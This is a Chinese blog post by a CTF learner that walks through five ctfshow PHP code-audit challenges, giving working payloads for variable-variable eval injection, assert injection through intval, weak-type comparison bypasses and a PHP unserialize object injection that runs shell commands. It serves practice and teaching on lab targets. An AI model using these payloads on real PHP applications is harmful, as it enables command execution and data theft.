web专题之php代审(一)

复制代码
这里将会记录一些我在各大ctf练习平台所碰到的有关php代码审计的题目,考点有弱类型绕过,伪协议,反序列化等等。因为是在备赛,且只是菜鸡一个,多多见谅,会努力学习。

1. 这是来自ctfshow 菜狗杯的一道题目:我的眼里只有$

打开靶场如下图所示

php 复制代码
<?php  
/*  
# -*- coding: utf-8 -*-  
# @Author: h1xa  
# @Date:   2022-11-10 17:20:38  
# @Last Modified by:   h1xa  
# @Last Modified time: 2022-11-11 08:21:54  
# @email: h1xa@ctfer.com  
# @link: https://ctfer.com  
  
*/  
  
  
error_reporting(0);  
extract($_POST);  
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);  
highlight_file(__FILE__);

这道题初次看比较懵,非常多的美元符号,其实是一道套娃的题目,参考了一下大佬的思路,比如传进来的参数是_=a,那么就是_=a,再传入一个参数a=b,那么就是$__=b,再接着下去就行了。

下面是python的代码

python 复制代码
import string
a='_=a&'
s=string.ascii_letters
code="system('ls /');"
for i in range(35):
    a+=s[i]+"="+s[i+1]+"&"
a+=s[i]+"="+code
print(a)

一共是36个$,所以我们首先构造一个,后面的使用for循环构造,完了之后拼接我们想要执行的命令,读取根目录下的所有文件。

执行完如下图所示 _=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=J&I=system('ls /');

记得使用post提交,回显如下图所示

发现我们想要的文件名已经给出来了:f1agaaa。更换命令使用system('cat /f1agaaa')

less 复制代码
 _=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=J&I=system('cat /f1agaaa');

最终成功得到了我们想要的flag。

2.这是来自ctfshow菜狗杯的一道题:一言既出

代码如下图所示

php 复制代码
<?php  
highlight_file(__FILE__);   
include "flag.php";    
if (isset($_GET['num'])){  
    if ($_GET['num'] == 114514){  
        assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");  
        echo $flag;  
    }   
}

简单分析,首先我们需要通过get方法传递参数,进入第一个if语句,然后要满足num=114514,以及intval函数化整之后为1919810,这显然是不可能同时满足的,所以我们需要绕过。

注意这个intval函数,结合一下注入的思路,我们可以尝试闭合这个函数使其绕过检测。

payload:

ini 复制代码
?num=114514);(1919810

php弱类型,在if语句中比较时,参数自动转为114514,舍去了后面的部分。接着在asset函数中,intval函数提前闭合,";"使语句终止,再1919810==1919810,永真语句成功绕过。

3.这道题是第二题的后续:驷马难追

php 复制代码
<?php  
highlight_file(__FILE__);   
include "flag.php";    
if (isset($_GET['num'])){  
     if ($_GET['num'] == 114514 && check($_GET['num'])){  
              assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");  
              echo $flag;  
     }   
}   
  
function check($str){  
  return !preg_match("/[a-z]|\;|\(|\)/",$str);  
}

这道题是上一题的加强版,正则匹配中,限制了小写字母,";"以及左右括号。 思考了很久,似乎被第二题给思维定式了,于是看了看大佬的思路,,发现非常的巧妙!

payload:

perl 复制代码
114514%2B1805296

这里的加号需要url转码,再赋值(直接写+号,事实上在url中表示空格)。前面是同理的,php弱类型绕过,判断的时候自动舍去后面的东西,留下114514。 接着是intval函数,首先是会进行里面的加法运算,得到1919810,符合条件,成功绕过。

4.这是ctfshow菜狗杯的一道题:webshell

下图所示是代码:

php 复制代码
<?php   
    error_reporting(0);  
  
    class Webshell {  
        public $cmd = 'echo "Hello World!"';  
  
        public function __construct() {  
            $this->init();  
        }  
  
        public function init() {  
            if (!preg_match('/flag/i', $this->cmd)) {  
                $this->exec($this->cmd);  
            }  
        }  
  
        public function exec($cmd) {  
            $result = shell_exec($cmd);  
            echo $result;  
        }  
    }  
  
    if(isset($_GET['cmd'])) {  
        $serializecmd = $_GET['cmd'];  
        $unserializecmd = unserialize($serializecmd);  
        $unserializecmd->init();  
    }  
    else {  
        highlight_file(__FILE__);  
    }  
  
?>

仔细看发现是反序列化。由Wedshell类中的函数可知,我们不能使$cmd参数带有"flag"(正则表达式限制),代码顺下去发现参数会被shell_exec()函数调用,可执行shell命令,也就是说我们可以写进执行命令的语句。

序列化构造:

php 复制代码
<?php
class Webshell {
	public $cmd = 'cat * >1.txt';
}

$a = new Webshell();
echo serialize($a);
?>

参数表明就当前目录下所有文件合并写入1.txt中,避免了敏感词"flag"。

运行后如下所示,再拼接到url参数后

css 复制代码
O:8:"Webshell":1:{s:3:"cmd";s:12:"cat * >1.txt";}

在1.txt中成功找到flag

5.这是来自ctfshow菜狗杯的一道题:化零为整

代码如下所示:

php 复制代码
<?php

highlight_file(__FILE__);
include "flag.php";

$result='';

for ($i=1;$i<=count($_GET);$i++){
        if (strlen($_GET[$i])>1){
                die("你太长了!!");
                }
        else{
        $result=$result.$_GET[$i];
        }
}

if ($result ==="大牛"){
        echo $flag;
}

初步分析一下代码,这里的count($_GET)表示传入的参数个数,以此决定我们循环的次数。接着就没有什么思路了,看了一下大佬的题解,发现"大牛"是需要url编码的。

编码如下:

perl 复制代码
%E5%A4%A7%E7%89%9B

for循环是需要一个字符一个字符的拼接,每个字符的长度为1,并且每个字符作为参数传入

perl 复制代码
   ?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B

原理:

这里$i在循环中是累加的

以至于$result是依次拼接url中对应次序的参数。

最终可以回显flag。

相关推荐
鹏仔先生1 小时前
拷贝漫画APP下载页PHP程序,后台带免费AI写作
php
云水一下6 小时前
从零开始学 PHP 系列(一):PHP 的前世今生与开发环境搭建
开发语言·php
xingpanvip6 小时前
星盘接口开发文档:本命盘接口指南
android·开发语言·css·php·lua
酉鬼女又兒9 小时前
零基础入门计算机网络运输层:端到端通信核心作用、端口号分类规则、复用分用工作机制及UDP与TCP协议全方位对比详解
网络·网络协议·tcp/ip·计算机网络·考研·udp·php
dog2509 小时前
不要再继续优化 TCP
网络协议·tcp/ip·php
Channing Lewis10 小时前
PHP 解析 Excel 的那些坑:一次“行号错位”引发的数据丢失
开发语言·php·excel
Cheng小攸11 小时前
渗透行为分析与检测
开发语言·php
云水一下12 小时前
从零开始学 PHP 系列(六):MySQL 数据库与 PHP 交互——让数据真正“住”进服务器
数据库·mysql·php
qq_4523962312 小时前
第十四篇:《K8s 网络模型与 CNI 插件(Calico、Flannel、Cilium)》
网络·kubernetes·php
云水一下12 小时前
从零开始学 PHP 系列(五):Web 表单处理与文件上传——让网站“活”起来
开发语言·php